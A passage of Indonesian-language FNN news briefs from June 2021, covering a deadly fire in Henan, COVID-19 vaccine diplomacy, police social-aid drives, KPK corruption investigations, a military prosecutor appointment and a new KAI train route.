Beijing, FNN - Api melahap pusat pelatihan seni bela diri di provinsi Henan, China, Jumat, menewaskan sedikitnya 18 orang, kata pihak berwenang setempat. Kebakaran terjadi pada pukul 03.00 waktu setempat dan berhasil dipadamkan, kata pemerintah daerah Zhecheng dalam sebuah pernyataan di situs webnya. Tidak jelas apa yang menyebabkan kebakaran, yang melukai 16 orang, empat di antaranya dalam kondisi serius, kata pemerintah daerah. Orang yang bertanggung jawab atas pusat pelatihan seni bela diri tersebut telah ditahan oleh polisi, menurut pernyataan itu. Nama pusat seni bela diri tidak diungkapkan. Kebakaran di China biasa terjadi, dengan protokol keamanan yang tidak merata dan konstruksi di bawah standar sering menjadi perhatian. Dalam salah satu kebakaran paling mengerikan di provinsi itu, 309 orang tewas di kota Luoyang pada Hari Natal tahun 2000 di sebuah klub malam. Sebagian besar korban tercekik oleh asap di ruang dansa, yang hanya memiliki dua pintu keluar darurat, dan tidak ada alat pemadam kebakaran atau alarm asap. (sws)

Menlu RI-Korea Selatan Tegaskan Peningkatan Kerja Sama Kesehatan

Jakarta, FNN - Menteri Luar Negeri RI Retno Marsudi dan Menteri Luar Negeri Korea Selatan Chung Eui-yong menegaskan pentingnya peningkatan kerja sama kedua negara dalam menanggulangi pandemi COVID-19. “Di masa sulit selama pandemi COVID-19, Korea Selatan merupakan salah satu negara di mana Indonesia menjalin kerja sama kesehatan,” kata Menlu Retno dalam pernyataan media secara virtual pada Jumat, usai pertemuan bilateral dengan menlu Korea Selatan. Sejumlah kerja sama yang telah dilakukan antara kedua negara antara lain pengadaan alat pelindung diri (APD), peralatan diagnostik, serta obat-obatan. Selain itu, Menlu RI juga menyambut baik beberapa kerja sama yang tengah berlangsung yaitu pengembangan vaksin antara PT Kalbe Farma dan Genexine yang rencananya akan melakukan uji klinis tahap 2 dan 3 di Jakarta dan Jawa Tengah pada Juli 2021. “Jika semua tahapan terlewati dengan baik, maka diharapkan vaksin akan tersedia di akhir tahun 2021,” tutur Retno. Kedua negara juga menjalin pengembangan terapeutik, yang merupakan kerja sama antara National Institute of Health Research and Development and Daewoong Infion; serta PT Kalbe Farma dan Genexine (GX-17) dalam produksi obat COVID-19 yang saat ini sudah dalam tahap pengujian. Kerja sama alat diagnostik juga tengah dirintis dengan adanya rencana prospek investasi perusahaan diagnostik Korea SD Biosensor dan Sugentech untuk membuka pabriknya di Indonesia. Masih dalam konteks kerja sama kesehatan, Badan Perencanaan Pembangunan Nasional (Bappenas) RI dan Badan Kerja Sama Internasional Korea (KOICA) telah menandatangani Minutes of Understanding on Inclusive Program for COVID-19 Response senilai 4 juta dolar AS (sekitar Rp57,7 miliar) untuk mendukung berbagai program penanggulangan pandemi serta dampak sosial ekonominya di Indonesia. “Berbagai kerja sama ini tentunya diharapkan dapat memperkuat industri kesehatan nasional dan meningkatkan kesiapsiagaan kita menghadapi ancaman pandemi di masa depan,” kata Menlu Retno. Tidak hanya kerja sama bilateral, Indonesia dan Korea Selatan telah sepakat untuk aktif bekerja sama secara internasional untuk mendorong kesetaraan akses vaksin COVID-19. “Kita juga sepakat untuk memperluas kerja sama pengembangan dan ketersediaan vaksin,” tutur Menlu Chung Eui-yong. Dalam paparannya, Menlu Chung menjelaskan bahwa Presiden Moon Jae-in telah menyampaikan komitmen senilai 200 juta dolar AS (sekitar Rp2,9 triliun) kepada fasilitas berbagi vaksin untuk negara berpenghasilan rendah dan menengah (COVAX AMC), di mana Indonesia merupakan salah satu ketua bersamanya (co-chair). Melalui sumbangan tersebut, pemerintah Korea Selatan berharap dapat mendukung Indonesia dan negara-negara Perhimpunan Bangsa-Bangsa Asia Tenggara (ASEAN) lainnya dalam mendatangkan dan mendistribusikan vaksin. “Kami menyampaikan apresiasi tinggi kepada Indonesia yang mengemban peranan besar sebagai co-chair COVAX AMC. Kami yakin bahwa Indonesia sebagai tuan rumah KTT G20 tahun depan juga akan memberikan kontribusi besar dalam mengatasi COVID dan pemulihan ekonomi,” kata Menlu Chung. Di sela-sela kunjungannya ke Jakarta, Chung juga meminta perhatian khusus bagi warga Korea Selatan di Indonesia agar dapat mengikuti vaksinasi COVID-19 tanpa pandang bulu. (sws)

Jepang Akan Beri Taiwan, Vietnam Masing-Masing 1 Juta Vaksin COVID

Tokyo, FNN - Menteri Luar Negeri Jepang Toshimitsu Motegi pada Jumat mengatakan bahwa Jepang akan memberikan tambahan satu juta dosis vaksin COVID-19 AstraZeneca masing-masing ke Taiwan dan Vietnam. Motegi menambahkan bahwa pihaknya juga tengah menyiapkan pengiriman masing-masing satu juta dosis vaksin AstraZeneca ke Thailand, Malaysia, Indonesia, dan Filipina. Dia juga menyebutkan bahwa Jepang akan mulai memasok total 11 juta dosis vaksin COVID ke kawasan termasuk Asia Tenggara, Asia Barat Daya dan Kepulauan Pasifik melalui program usaha bersama (joint venture) COVAX mulai pertengahan Juli. Sebelumnya, Jepang telah menjanjikan sumbangan sebesar 1 miliar dolar AS (sekitar Rp14,3 triliun) dan 30 juta dosis ke fasilitas global COVAX, yang menyediakan vaksin untuk negara-negara yang membutuhkan. Namun, pengiriman ke Vietnam, Taiwan, dan tetangga Asia lainnya dilakukan di luar COVAX untuk mempercepat pengiriman. "Jika melalui organisasi internasional, prosedur untuk mendapatkan persetujuan mungkin memakan waktu," kata Motegi. Jepang telah menandatangani kontrak untuk membeli 120 juta dosis vaksin AstraZeneca, yang disetujui bulan lalu. Namun, tidak ada rencana segera untuk menggunakannya di dalam negeri, karena masih ada kekhawatiran terkait laporan internasional tentang efek samping pembekuan darah. (sws)

Polres Merangin Terima Penyerahan 107 Senjata Api Rakitan

Jambi, FNN - Sebulan terakhir ini Polres Merangin beserta jajarannya menerima penyerahan 107 pucuk senjata api rakitan dari masyarakat di Kabupaten Merangin, Provinsi Jambi. Kepala Polres Merangin, AKBP Irwan Purnamawan, di Merangin, Provinsi Jambi, Jumat, mengatakan, dari 107 senjata api rakitan itu terdiri atas 106 senapan rakitan yang dikenal dengan istilah kecepek dan satu pistol rakitan. Sebagian besar senpi rakitan itu diserahkan Suku Anak Dalam di Kabupaten Merangin. "Kepolisian juga memberikan ucapan terimakasih kepada para kepala desa dan suku Anak Dalam di Kabupaten Merangin yang sudah berpartisipasi dalam kegiatan ini," kata Purnamawan. "Selain warga dari SAD atau orang rimba yang dengan sukarela menyerahkan senjata api rakitan jenis kecepek itu ada juga warga biasa yang menyerahkannya kepada polisi dan langsung diserahkan ke kantor polisi terdekat," katanya. Setelah diberikan imbauan dalam mengantisipasi terjadinya premanisme atau tindak pidana menggunakan senjata api dan supaya dapat bekerja sama dalam menjaga harkamtibmas, beberapa masyarakat memberanikan diri menyerahkan senjata api rakitannya kepada polisi. "Kami berharap masyarakat dapat mengerti tentang bahaya memiliki senjata api, hal itu untuk mengantisipasi premanisme di wilayah hukum Polres Merangin serta dapat bekerjasama dengan masyarakat dalam menjaga Harkamtibmas," kata dia. Adapun satuan yang menerima penyerahan senjata rakitan itu adalah Sat Reskrim Polres (93 kecepek laras panjang), Sat Intelkam (dua kecepek laras panjang), Polsek Bangko (tiga kecepek laras panjang), Polsek Pamenang (tiga kecepek laras panjang), Polsek Sungai Manau (satu kecepek laras panjang), Polsek Tabir (dua kecepek laras panjang), Polsek Tabir Selatan (dua kecepek panjang), dan Polsek Tabir Ulu (satu kecepek laras pendek). Purnamawan, mengatakan, senjata-senjata api rakitan itu akan diserahkan ke Direktorat Kriminal Umum Polda Jambi. Polres Merangin juga terus dan tetap menghimbau kepada masyarakat di Kabupaten Merangin untuk tidak menggunakan senjata api dalam bentuk apapun tanpa izin. (sws)

Polri Bagikan 276.662 Paket Sembako Untuk Warga Terdampak COVID-19

Jakarta, FNN - Kepolisia Indonesia membagikan 276.662 paket sembako serta alat pelindung diri (APD) berupa 200.000 masker dan 40.000 cairan antiseptik untuk warga terdampak Covid-19, Jumat. Inspektorat Pengawasan Umum Kepolisian Indonesia, Komisaris Jenderal Polisi Agung Maryoto, mewakili Kepala Kepolisian Indonesia, Jenderal Polisi Listyo Prabowo, di Jakarta mengatakan, pembagian sembako dan APD ini dalam rangka menyambut HUT ke75 Bhayangkara pada 1 Juli yang digelar serentak di 34 Polda se-Indonesia. Maryoto mengatakan dengan kegiatan ini diharapkan masyarakat dapat terbantu, terutama mereka yang perekonomiannya terganggu akibat pandemi Covid-19. "Diharapkan melalui kegiatan ini, dapat memberikan manfaat yang besar bagi masyarakat, khususnya dalam mendukung terbentuknya kondisi kesehatan masyarakat yang mantap," kata dia. Menurut dia, meskipun situasi di Indonesia dan seluruh dunia sedang dilanda wabah virus SARS-CoV-2 atau Korona, tidak menyurutkan tekad seluruh personel Korps Bhayangkara dalam meningkatkan kinerja untuk mengabdi kepada masyarakat dan mendukung program pemerintah. Ini sesuai dengan tema yang diusung dalam Hari Bhayangkara 2021 yakni, 'Transformasi Polri Yang Presisi Mendukung Percepatan Penanganan COVID-19 Untuk Masyarakat Sehat dan Pemulihan Ekonomi Nasional Menuju Indonesia Maju'. "Dengan kondisi kesehatan yang mantap, akan menumbuhkan jiwa yang kuat dan semangat yang tinggi untuk bekerja sehingga pemulihan ekonomi nasional akan semakin dekat dan visi Indonesia Maju akan mudah tercapai," kata dia. Masih dalam rangka menyambut HUT Bhayangkara yang diperingati setiap 1 Juli, Kepolisian Indonesia juga akan melaksanakan vaksinasi massal kepada 1.031.056 masyarakat secara serentak di 34 Polda. Juga kegiatan kemanusiaan lain, di antaranya donor darah, donor plasma konvalesen, operasi katarak, operasi bibir sumbing, pengobatan massal, dan pelayanan penerbitan SIM bagi masyarakat yang berulang tahun pada1 Juli 2021. Ketua Panitia Bakti Sosial Hari Bhayangkara, Inspektur Jenderal Polisi Istiono, menyebutkan, paket sembako tersebut nantinya bakal diberikan kepada masyarakat yang memang membutuhkan. "Kepada para yatim-piatu, fakir miskin dan kaum duafa, buruh dan karyawan korban PHK, panti jompo, panti asuhan, panti sosial, kalangan supir, ojek pangkalan, penyandang disabilitas, purnawirawan/warakawuri TNI-Polri, tenaga medis, UMKM terdampak pandemi, serta kelompok masyarakat lainnya," kata dia. Istiono yang juga kepala Korps Lalu-lintas Kepolisian Indonesia, menambahkan, di seluruh Indonesia, Korps Bhayangkara juga telah membagikan masker sebanyak 2.521.815 dan cairan antiseptik (hand sanitizer) sebanyak 272.662 botol. Pelaksanaan bakti sosial serentak ini merupakan kegiatan rutin yang diselenggarakan setiap tahun dalam rangka memperingati Hari Bhayangkara. (sws)

SMA di Pegunungan Papua Mulai Disiapkan Terapkan Sistem SKS

Wamena, FNN - Salah satu sekolah menengah atas (SMA) di wilayah pegunungan tengah Provinsi Papua sedang dipersiapkan untuk uji coba penerapan sistem satuan kredit semester (SKS) dalam pembelajarannya. Kepala Dinas Pendidikan, Perpustakaan dan Arsip Daerah (DPPAD) Provinsi Papua Christian Sohilait saat di Wamena, Ibu Kota Kabupaten Jayawijaya, Jumat, mengatakan belum banyak sekolah di Papua yang menerapkan sistem ini. "Untuk di wilayah pegunungan tengah Papua, program SKS ini baru dilakukan di SMA Negeri 1 Wamena. Kemarin kami sudah menyerahkan surat untuk program tersebut," katanya. Dengan sistem SKS, siswa SMA yang mampu dapat menyelesaikan pendidikan di SMA hanya dalam jangka waktu dua atau satu tahun lebih. "Anak-anak kalau pintar sekali tidak perlu sampai tiga tahun di SMA. Jadi kalau ambil sekarang dan SKS-nya mendukung, dia bisa ambil semester 2 punya, semester 3 punya," katanya. Mantan Sekda Kabupaten Lanny Jaya itu mengatakan sudah dilakukan uji coba juga di enam sekolah yang ada di Kota Jayapura. "Kalau di Jayawijaya kita coba satu. Besok kita akan coba lagi di Biak dan Merauke," katanya. Christian mengatakan sistem ini akan membantu anak-anak yang cerdas agar lebih cepat menyelesaikan pendidikan mereka. "Sehingga jangan kita paksakan anak-anak yang sudah pintar ini mereka tinggal terus hanya menyesuaikan dengan anak-anak yang lain. Padahal mereka punya kecerdasan inikan sudah harus mereka keluar," katanya. (mth)

Polda Kalbar Bagikan 7.500 Paket Sembako pada Masyarakat

Pontianak, FNN - Jajaran Kepolisian Daerah Kalimantan Barat, menggelar bakti sosial menyambut HUT ke-75 Bhayangkara dengan membagikan 7.500 paket sembako pada masyarakat yang membutuhkan atau terdampak pandemi COVID-19. "Hari ini secara serentak di seluruh polres dan jajaran membagikan sebanyak 7.500 paket sembako pada masyarakat yang membutuhkannya," kata Kapolda Kalbar, Irjen (Pol) R Sigid Tri Hardjanto di Pontianak, Jumat. Dia menjelaskan, khusus di lingkungan Polda Kalbar membagikan paket sembako sebanyak 1.000 paket yang disebar di Kota Pontianak dan Kabupaten Kubu Raya. Gerakan bakti sosial Polri dan Bhayangkari ini dilaksanakan dalam rangka pembinaan tradisi hari Bhayangkara ke-75 pada 1 Juli 2021, dan dilakukan secara serentak di jajaran Polri seluruh Indonesia, katanya. "Dengan terlaksananya kegiatan bakti sosial ini sebagai wujud kepedulian Polri terhadap masyarakat yang terdampak pandemi COVID-19," ujarnya. Dia menambahkan, dalam pendistribusian paket bakti sosial itu, Polda Kalbar menerjunkan sebanyak 200 personel dan 97 kendaraan mobil maupun motor. "Paket sembako sebanyak 7.500 ini diutamakan untuk anak yatim piatu, gelandangan, ojek online, purnawirawan, dan orang yang lebih membutuhkan," ujarnya. Secara simbolis Kapolda Kalbar beserta istri menyerahkan langsung paket sembako dan pelepasan rombongan bakti sosial serentak ditandai dengan pengibaran bendera. Sementara itu, jajaran Biddokkes Polda Kalbar menyumbang sebanyak 110 kantong darah pada Palang Merah Indonesia (PMI) Pontianak dalam rangka peringatan Hari Bhayangkara ke-75 tahun. "Kegiatan donor darah hari ini kerja sama Biddokkes Polda Kalbar dengan PMI Pontianak," kata Kasubbid Dokpol Biddokkes Polda Kalbar, Pembina Razimin. Dia menambahkan, kegiatan yang dilakukan hari ini juga merupakan wujud kepedulian kepada sesama. Pihaknya berharap, darah yang didonorkan tersebut dapat bermanfaat bagi sesama, dan kegiatan donor darah ini sebagai bentuk kegiatan sosial dan kemanusiaan. (sws)

PSK dan TNI AD Bersinergi Pulihkan Hak Saksi dan Korban

Jakarta, FNN - Lembaga Perlindungan Saksi dan Korban (LPSK) dan TNI Angkatan Darat (TNI AD) terus bersinergi memulihkan hak saksi dan korban khususnya pada perkara-perkara di lingkungan peradilan militer. Wakil Ketua LPSK Edwin Partogi Pasaribu melalui keterangan tertulis yang diterima di Jakarta, Jumat mengatakan sejumlah perkara saksi dan korban yang dilindungi LPSK khususnya kasus-kasus yang menyita perhatian publik. "Perkara dimaksud antara lain penembakan yang diduga dilakukan oknum anggota TNI AD, perkara pencabulan anak, kasus kecelakaan kerja yang mengakibatkan cacat, kasus asusila hingga kasus penetapan tersangka anggota TNI AD yang tengah memperjuangkan pemulihan hak anaknya," kata dia. Keseriusan sinergitas dua instansi tersebut terbangun saat pertemuan pimpinan LPSK dengan Kepala Staf Angkatan Darat (KSAD) Jenderal TNI Andika Perkasa di Mabes AD, Jakarta. Dalam pertemuan tersebut LPSK menghadirkan salah seorang korban kecelakaan kerja yang harus kehilangan lengan kirinya yakni Teguh Syahputra Ginting (21) anak dari Serda AD yang memasuki masa pensiun. "Yang menarik dari kasus ini, di tengah usahanya memperjuangkan dan menuntut hak anaknya untuk mendapatkan tunjangan kecelakaan dan ganti rugi dari perusahaan, Serda AD itu justru menjadi tersangka oleh Denpom Pematang Siantar," kata Edwin. Dari perbincangan pimpinan LPSK dengan KSAD, ada beberapa hal yang menjadi rekomendasi. Pertama, terkait penegakan hukum KSAD memerintahkan semua jajarannya memastikan proses hukum dan menindak tegas dengan memecat anggota TNI AD apabila terbukti bersalah. Kedua, pemulihan hak korban khususnya dalam perkara Teguh Syahputra Ginting yang meminta tanggung jawab perusahaan. Dalam hal ini, KSAD menyatakan kesiapan membantu menyiapkan tangan palsu melalui RSPAD Gatot Subroto. Selain itu, terkait dengan keberlangsungan hidup dan pendidikan korban, KSAD juga akan membantu korban melanjutkan kuliah serta mendapatkan pekerjaan yang sesuai dengan keterbatasan korban. Komitmen dan antusiasme KSAD dalam mendorong proses penegakan hukum dan pemulihan hak korban mendapatkan apresiasi dari LPSK. Terakhir LPSK berharap sinergitas pemulihan hak-hak korban bersama KSAD terus berlanjut khususnya pada perkara yang berhubungan dengan tindak pidana di lingkungan peradilan militer. (sws)

KPK Dalami Pengurusan Jatah Kuota Rokok Kasus Cukai di Bintan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami pengurusan jatah kuota rokok terkait kasus dugaan korupsi pengaturan barang kena cukai di Kabupaten Bintan, Kepulauan Riau (Kepri) dengan memeriksa sejumlah saksi. KPK, Kamis (24/6) memeriksa saksi Hartono dan Arjab masing-masing dari pihak swasta dalam penyidikan kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan kawasan Perdagangan Bebas dan Pelabuhan Bintan Tahun 2016-2018. "Dikonfirmasi antara lain terkait dengan adanya dugaan pengurusan jatah kuota rokok yang direkomendasikan khusus oleh pihak-pihak yang terkait dengan perkara ini," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. Pemeriksaan terhadap dua saksi tersebut digelar di Gedung KPK, Jakarta. Diketahui, KPK sedang melakukan penyidikan kasus dugaan korupsi terkait pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan. Dengan adanya penyidikan tersebut, KPK telah menetapkan tersangka dalam kasus tersebut. Kendati demikian, KPK saat ini belum dapat menyampaikan secara detil terkait kasus dan siapa pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan Pimpinan KPK bahwa pengumuman tersangka akan dilakukan saat penangkapan atau penahanan telah dilakukan terhadap para tersangka. Dalam penyidikan kasus itu, KPK juga telah menggeledah beberapa lokasi di antaranya Kantor Bupati Bintan dan Kantor Badan Pengusahaan Kawasan Bintan (BP Bintan). Dari penggeledahan, KPK mengamankan berbagai dokumen yang terkait dengan kasus tersebut. Selain itu, KPK juga telah mencegah bepergian ke luar negeri terhadap dua orang yang berperan penting dalam kasus tersebut untuk 6 bulan ke depan sejak Februari 2021 lalu. Namun, KPK tidak menginformasikan lebih detil siapa dua orang yang telah dicegah tersebut. (sws)

Laksda Anwar Saadi Jabat Jaksa Agung Muda Bidang Pidana Militer

Jakarta, FNN - Laksamana Muda (Laksda) TNI Anwar Saadi ditunjuk sebagai Jaksa Agung Muda Bidang Pidana Militer (JAMPidmil) pertama pada Kejaksaan Agung RI dan kini menunggu pelantikan sebagai JAMPidmil oleh Jaksa Agung Sanitiar Burhanuddin. Penunjukan Laksda TNI Anwar Saadi berdasarkan Surat Keputusan Panglima TNI Nomor Kep/540/VI/2021 tanggal 23 Juni 2021 tentang Pemberhentian dari dan pengangkatan dalam jabatan di lingkungan Tentara Nasional Indonesia, telah ditetapkan mutasi dan promosi jabatan 104 Perwira Tinggi (Pati) TNI terdiri dari 65 Pati TNI AD, 22 Pati TNI AL dan 17 Pati TNI AU. Laksda TNI Anwar Saadi sebelumnya menjabat sebagai Kepala Badan Pembinaan Hukum (Kababinkum) TNI dimutasi menjadi JAMPidmil. Setelah dimutasi, Laksda Anwar Saadi tinggal menunggu pelantikan sebagai JAMPidmil oleh Jaksa Agung Sanitiar Burhanuddin. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak saat dikonfirmasi kapan Jaksa Agung akan melantik JAMPidmil yang telah ditunjuk oleh Panglima TNI tersebut, mengatakan akan mengecek informasi tersebut terlebih dahulu. "Nanti saya cek dulu," jawab Leonard singkat. Dua hari sebelumnya, Rabu (23/6) kabar ditunjuknya Laksda Anwar Saadi sebagai JAMPidmil telah beredar di media sosial dan awak media. Bahkan beredar foto Kababinkum TNI itu berdiri depan podium dengan narasi foto menyebutkan soal jabatannya sebagai JAMPidmil pertama pada Kejaksaan Agung. Leonard sempat menyebutkan belum ada kegiatan resmi pelantikan JAMPidmil saat itu. Foto tersebut hanya acara ramah tamah dengan Kababinkum TNI beserta jajaran. "Belum ada secara resmi. Kemarin hanya acara coffee morning dengan Kababinkum TNI beserta jajaran," kata Leonard. Proses pembentukan JAMPidmil sudah berjalan sejak Juni 2020. Jampidmil tersebut merupakan salah satu program penguatan kelembagaan Kejaksaan Agung berdasarkan asas single prosecution system yang berlaku secara universal. Pembentukan JAMPidmil yang prosesnya dilakukan bersama Menteri Pemberdayagunaan Aparatur Negara dan Reformasi Birokrasi (KemenPAN-RB), melibatkan juga Menteri Koordinator bidang Politik, Hukum, dan Keamanan (Menkopolhukam), Menteri Hukum dan HAM (Menkumham), TNI, dan pejabat terkait. Pada 25 Mei 2021, Biro Kepegawaian Kejaksaan Agung melantik dan mengambil sumpah jabatan tiga pejabat Eselon III dan beberapa penjabat Eselon IV pada JAMPidmil. Tiga pejabat tersebut adalah, Nur Handayani, sebagai Kepala Bagian Penyusunan Program, Laporan dan Penilaian pada Sekretariat JAMPidmil, Agung Mardiwibowo sebagai Kepala Bagian Tata Usaha dan Pengelolaan Pengamanan dan Pengawalan pada Sekretariat JAMPidmil serta Unaisi Hetty Nining sebagai Kepala Bagian Keuangan pada Sekretariat JAMPidmil. Presiden Joko Widodo (Jokowi) membentuk JAMPidmil di Kejagung melalui Perpres Nomor 15 Tahun 2021. Pada Pasal 25A ayat 1 disebutkan Jaksa Agung Muda Bidang Pidana Militer adalah unsur pembantu pimpinan dalam melaksanakan tugas dan wewenang Kejaksaan di bidang koordinasi teknis penuntutan yang dilakukan oleh oditurat dan penanganan perkara koneksitas, bertanggung jawab kepada Jaksa Agung. Presiden RI Joko Widodo menetapkan Jaksa Agung Muda Bidang Pidana Militer di Kejaksaan Agung berdasarkan Peraturan Presiden RI Nomor 15 Tahun 2021 tentang Perubahan Kedua atas Perpres No. 38/2010 tentang Organisasi dan Tata Kerja Kejaksaan RI. Dalam Perpres No. 15/2021 yang diundangkan pada 11 Februari 2021 sebagaimana dikutip dari laman resmi Kementerian Sekretariat Negara www.setneg.go.id di Jakarta, Jumat, terdapat penambahan struktur organisasi di antara Pasal 25 dan Pasal 26 disisipkan 3 pasal, yakni Pasal 25A, Pasal 253, dan Pasal 25C sehingga berbunyi sebagai berikut: Pasal 25A (1) Jaksa Agung Muda Bidang Pidana Militer adalah unsur pembantu pimpinan dalam melaksanakan tugas dan wewenang Kejaksaan di bidang koordinasi teknis penuntutan yang dilakukan oleh oditurat dan penanganan perkara koneksitas, bertanggung jawab kepada Jaksa Agung. (2) Jaksa Agung Muda Bidang Pidana Militer dipimpin oleh Jaksa Agung Muda Pidana Militer. Pasal 25B (1) Jaksa Agung Muda Bidang Pidana Militer mempunyai tugas dan wewenang melaksanakan tugas dan wewenang Kejaksaan di bidang koordinasi teknis penuntutan yang dilakukan oleh oditurat dan penanganan perkara koneksitas. (2) Lingkup bidang koordinasi teknis penuntutan yang dilakukan oleh oditurat dan penanganan perkara koneksitas sebagaimana dimaksud pada ayat 1 meliputi penyidikan perkara koneksitas, penelitian hasil penyidikan, pemeriksaan tambahan, pemberian pendapat hukum kepada perwira penyerah perkara, penyerahan perkara, penutupan perkara, penghentian penuntutan, penuntutan, perlawanan, upaya hukum, pelaksanaan penetapan hakim dan putusan pengadilan yang telah memperoleh kekuatan hukum tetap, eksaminasi, pengawasan terhadap pelaksanaan putusan pidana bersyarat, putusan pidana pengawasan, dan keputusan lepas bersyarat, dan tindakan hukum lain di bidang koordinasi teknis penuntutan yang dilakukan oleh oditurat dan penanganan perkara koneksitas. (3) Tugas dan wewenang sebagaimana dimaksud pada ayat 2 dilaksanakan sesuai dengan ketentuan peraturan perundang-undangan. (sws)

KAI Resmikan KA Baturraden Ekspres Rute Purwokerto-Bandung

Jakarta, FNN - PT Kereta Api Indonesia (Persero) meresmikan peluncuran kereta api Baturraden Ekspres rute Purwokerto-Bandung PP via Cikampek di Stasiun Purwokerto, Banyumas, Jawa Tengah, Jumat. Peresmian pemberangkatan perdana kereta api tersebut dilakukan Komisaris KAI Cris Kuntadi, Direktur Utama KAI Didiek Hartantyo beserta Bupati Banyumas Achmad Husein. "Pada hari ini kita launching perjalanan perdana kereta api Baturraden Ekspres relasi Purwokerto-Bandung PP via Cikampek. Di tengah pandemi COVID-19 ini, KAI tetap menunjukkan komitmennya untuk terus berinovasi dengan menghadirkan kereta api relasi baru agar dapat membantu konektivitas masyarakat khususnya dari dan menuju wilayah Kabupaten Banyumas," kata Direktur Utama KAI Didiek Hartantyo dalam siaran pers yang diterima di Jakarta, Jumat. Didiek mengatakan perjalanan KA Baturraden Ekspres ini ditujukan untuk meningkatkan pelayanan kepada pelanggan sehingga semakin banyak alternatif pilihan bepergian menggunakan kereta api, mengingat selama ini perjalanan kereta api keberangkatan dari Stasiun Purwokerto menuju Stasiun Bandung hanya dilayani oleh satu kereta api kelas ekonomi yaitu KA Serayu. Penamaan Baturraden Ekspres terinspirasi dari nama kawasan wisata Baturraden, yang merupakan salah satu ikon Kabupaten Banyumas dan menjadi destinasi utama wisatawan domestik bahkan mancanegara. KA Baturraden Ekspres diberangkatkan dari Stasiun Purwokerto pada pukul 05.40 WIB dan berhenti di Stasiun Bumiayu, Prupuk, Cirebon, Jatibarang, Cikampek, Purwakarta, Cimahi, hingga tiba di Stasiun Bandung pukul 12.09 WIB. Sedangkan jadwal KA Baturraden Ekspres relasi Bandung-Purwokerto yaitu berangkat dari Stasiun Bandung pukul 16.30 WIB dan akan berhenti di Stasiun Cimahi, Purwakarta, Cikampek, Jatibarang, Cirebon, Prupuk, Bumiayu hingga tiba di Stasiun Purwokerto pada pukul 22.54 WIB. Didiek mengatakan di masa pandemi COVID-19, KAI tetap berkomitmen untuk menerapkan protokol kesehatan sesuai yang telah ditetapkan pemerintah. Untuk menjaga jarak fisik antarpelanggan, KAI hanya menjual tiket maksimal 70 persen dari kapasitas tempat duduk sesuai SE Kemenhub No 14 Tahun 2020. Setiap pelanggan KA Baturraden Ekspres diharuskan menunjukkan surat bebas COVID-19 yang masih berlaku. Untuk memudahkan pelanggan, KAI menyediakan layanan GeNose C19 seharga Rp30.000 di 65 stasiun dan rapid test antigen seharga Rp85.000 di 40 stasiun. "KAI tetap berkomitmen untuk mengoperasikan kereta api sesuai protokol kesehatan yang ketat untuk menjadikan kereta api sebagai moda transportasi yang sehat, selamat, nyaman dan aman sampai di stasiun tujuan," ujar Didiek. KA Baturraden Ekspres terdiri atas kelas eksekutif dengan tarif mulai dari Rp160.000 dan kelas bisnis dengan tarif mulai dari Rp130.000. Tiket KA Baturraden Ekspres sudah dapat dibeli melalui KAI Access, web KAI, loket, dan seluruh mitra penjualan tiket KAI lainnya. KAI menawarkan tarif khusus untuk rute tertentu pada KA Baturraden Ekspres yaitu relasi Purwokerto-Cirebon PP (eksekutif Rp65.000 dan bisnis Rp45.000), Cirebon-Cikampek PP (eksekutif Rp50.000 dan bisnis Rp40.000), Bandung-Purwakarta PP (eksekutif Rp55.000 dan bisnis Rp45.000), dan Bandung-Cikampek PP (eksekutif Rp65.000 dan bisnis Rp55.000). Tarif khusus tersebut dapat dibeli mulai dua jam sebelum jadwal keberangkatan Kereta Api di KAI Access, loket, dan seluruh channel eksternal selama masih tersedia tempat duduk. (mth)

KPK Dalami Dugaan Aliran Uang kepada Aa Umbara dari Berbagai Pihak

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami dugaan aliran sejumlah uang kepada tersangka Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM) dari berbagai pihak dengan memeriksa sejumlah saksi. KPK, Kamis (24/6) memeriksa 12 saksi dari unsur Aparatur Sipil Negara (ASN) pada Sekretariat Daerah Bandung Barat untuk tersangka Aa Umbara dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinsos Kabupaten Bandung Barat Tahun 2020. "Seluruh saksi hadir dan dikonfirmasi terkait dengan dugaan adanya aliran sejumlah uang kepada tersangka AUM dari berbagai pihak," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. 12 saksi tersebut, yakni Ibrahim Aji, Usup Suherman, Hanny Nurismandiyah, Aan Sopian Gentiana, Anang Widianto, Rilvihadi Zain, Yoga Rukma Gandara, Dian Kusmayadi, Rambey Solihin, Dian Soehartini, Dewi Andhani, dan Deni Ahmad. Adapun pemeriksaan digelar perkantoran Pemkab Bandung Barat (Aula Wakil Bupati). Selain itu, kata Ali, terhadap 12 saksi itu juga dikonfirmasi terkait dengan proses pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinsos Kabupaten Bandung Barat Tahun 2020. Selain Aa Umbara, KPK juga telah menetapkan dua tersangka lainnya, yakni Andri Wibawa (AW) dari pihak swasta/anak Aa Umbara dan pemilik PT Jagat Dir Gantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL) M Totoh Gunawan (MTG). Dalam konstruksi perkara disebut pada Maret 2020 karena adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan "refocusing" anggaran APBD Tahun 2020 pada Belanja Tidak Terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total senilai Rp36 miliar untuk pengadaan paket bahan pangan Bantuan Sosial Jaring Pengaman Sosial (Bansos JPS). Sedangkan M Totoh dengan menggunakan PT JDG dan CV SSGCL mendapatkan paket pekerjaan dengan total senilai Rp15,8 miliar untuk pengadaan bahan pangan Bansos JPS dan Bantuan Sosial terkait Pembatasan Sosial Berskala Besar (Bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang 